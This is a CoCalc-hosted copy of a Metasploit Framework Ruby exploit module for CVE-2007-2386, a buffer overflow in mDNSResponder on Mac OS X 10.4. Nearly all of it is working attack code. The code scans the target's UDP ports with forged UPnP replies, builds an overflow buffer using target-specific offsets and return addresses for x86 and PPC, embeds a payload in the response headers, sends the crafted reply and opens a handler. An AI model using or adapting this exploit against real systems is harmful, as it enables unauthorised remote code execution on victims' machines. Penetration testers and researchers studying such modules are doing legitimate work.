CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/mdns/upnp_location.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',
14
'Description' => %q{
15
This module exploits a buffer overflow that occurs when processing
16
specially crafted requests set to mDNSResponder. All Mac OS X systems
17
between version 10.4 and 10.4.9 (without the 2007-005 patch) are
18
affected.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'ddz'
24
],
25
'References' =>
26
[
27
[ 'OSVDB', '35142' ],
28
[ 'CVE', '2007-2386' ],
29
[ 'BID', '24144' ],
30
[ 'URL', 'http://support.apple.com/kb/TA24732' ]
31
],
32
'DefaultOptions' =>
33
{
34
'SRVPORT' => 1900,
35
'RPORT' => 0
36
},
37
'Payload' =>
38
{
39
'BadChars' => "\x00\x3a\x2f",
40
'StackAdjustment' => 0,
41
'Space' => 468
42
},
43
'Platform' => 'osx',
44
'Targets' =>
45
[
46
[ '10.4.8 x86',
47
{ # mDNSResponder-108.2
48
'Arch' => ARCH_X86,
49
# Offset to mDNSStorage structure
50
'Offset' => 21000,
51
'Magic' => 0x8fe510a0,
52
'g_szRouterHostPortDesc' => 0x53dc0,
53
}
54
],
55
[ '10.4.0 PPC',
56
{ # mDNSResponder-107
57
'Arch' => ARCH_PPC,
58
'Offset' => 21000,
59
'Magic' => 0x8fe51f4c,
60
'Ret' => 0x8fe41af8,
61
}
62
]
63
],
64
'DisclosureDate' => '2007-05-25',
65
'DefaultTarget' => 1))
66
67
register_options(
68
[
69
Opt::LHOST(),
70
OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])
71
])
72
73
@mutex = Mutex.new()
74
@found_upnp_port = false
75
@key_to_port = Hash.new()
76
@upnp_port = 0
77
@client_socket = nil
78
end
79
80
def check
81
#
82
# TODO: Listen on two service ports, one a single character
83
# shorter than the other (i.e 1900 and 19000). If the copy was
84
# truncated by strlcpy, it will connect to the service listening
85
# on the shorter port number.
86
#
87
upnp_port = scan_for_upnp_port()
88
if (upnp_port > 0)
89
return Exploit::CheckCode::Detected
90
else
91
return Exploit::CheckCode::Unsupported
92
end
93
end
94
95
def upnp_server(server)
96
client = server.accept()
97
request = client.readline()
98
if (request =~ /GET \/([\da-f]+).xml/)
99
@mutex.synchronize {
100
@found_upnp_port = true
101
@upnp_port = @key_to_port[$1]
102
103
# Important: Keep the client connection open
104
@client_socket = client
105
}
106
end
107
end
108
109
def scan_for_upnp_port
110
@upnp_port = 0
111
@found_upnp_port = false
112
113
upnp_port = 0
114
115
# XXX: Do this in a more Metasploit-y way
116
server = TCPServer.open(1900)
117
server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }
118
119
begin
120
socket = Rex::Socket.create_udp
121
122
upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s
123
124
print_status("Listening for UPNP requests on: #{upnp_location}")
125
print_status("Sending UPNP Discovery replies...")
126
127
i = 49152;
128
while i < 65536 && @mutex.synchronize {
129
@found_upnp_port == false
130
}
131
key = sprintf("%.2x%.2x%.2x%.2x%.2x",
132
rand(255), rand(255), rand(255), rand(255), rand(255))
133
134
@mutex.synchronize {
135
@key_to_port[key] = i
136
}
137
138
upnp_reply = "HTTP/1.1 200 Ok\r\n" +
139
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
140
"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +
141
"Location: #{upnp_location}/#{key}.xml\r\n\r\n"
142
143
socket.sendto(upnp_reply, datastore['RHOST'], i)
144
145
i += 1
146
end
147
148
@mutex.synchronize {
149
if (@found_upnp_port)
150
upnp_port = @upnp_port
151
end
152
}
153
ensure
154
server.close
155
server_thread.join
156
end
157
158
return upnp_port
159
end
160
161
def exploit
162
#
163
# It is very important that we scan for the upnp port. We must
164
# receive the TCP connection and hold it open, otherwise the
165
# code path that uses the overwritten function pointer most
166
# likely won't be used. Holding this connection increases the
167
# chance that the code path will be used dramatically.
168
#
169
upnp_port = scan_for_upnp_port()
170
171
if upnp_port == 0
172
fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")
173
end
174
175
datastore['RPORT'] = upnp_port
176
177
socket = connect_udp()
178
179
if (target['Arch'] == ARCH_X86)
180
space = "A" * target['Offset']
181
space[0, payload.encoded.length] = payload.encoded
182
183
pattern = Rex::Text.pattern_create(47)
184
pattern[20, 4] = [target['Magic']].pack('V')
185
pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]
186
187
boom = space + pattern
188
usn = ""
189
190
elsif (target['Arch'] == ARCH_PPC)
191
space = "A" * target['Offset']
192
193
pattern = Rex::Text.pattern_create(48)
194
pattern[20, 4] = [target['Magic']].pack('N')
195
196
#
197
# r26, r27, r30, r31 point to g_szUSN+556
198
# Ret should be a branch to one of these registers
199
# And we make sure to put our payload in the USN header
200
#
201
pattern[44, 4] = [target['Ret']].pack('N')
202
203
boom = space + pattern
204
205
#
206
# Start payload at offset 556 within USN
207
#
208
usn = "A" * 556 + payload.encoded
209
end
210
211
upnp_reply = "HTTP/1.1 200 Ok\r\n" +
212
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +
213
"USN: #{usn}\r\n" +
214
"Location: http://#{boom}\r\n\r\n"
215
216
print_status("Sending evil UPNP response")
217
socket.put(upnp_reply)
218
219
print_status("Sleeping to give mDNSDaemonIdle() a chance to run")
220
select(nil,nil,nil,10)
221
222
handler()
223
disconnect_udp()
224
end
225
end
226
227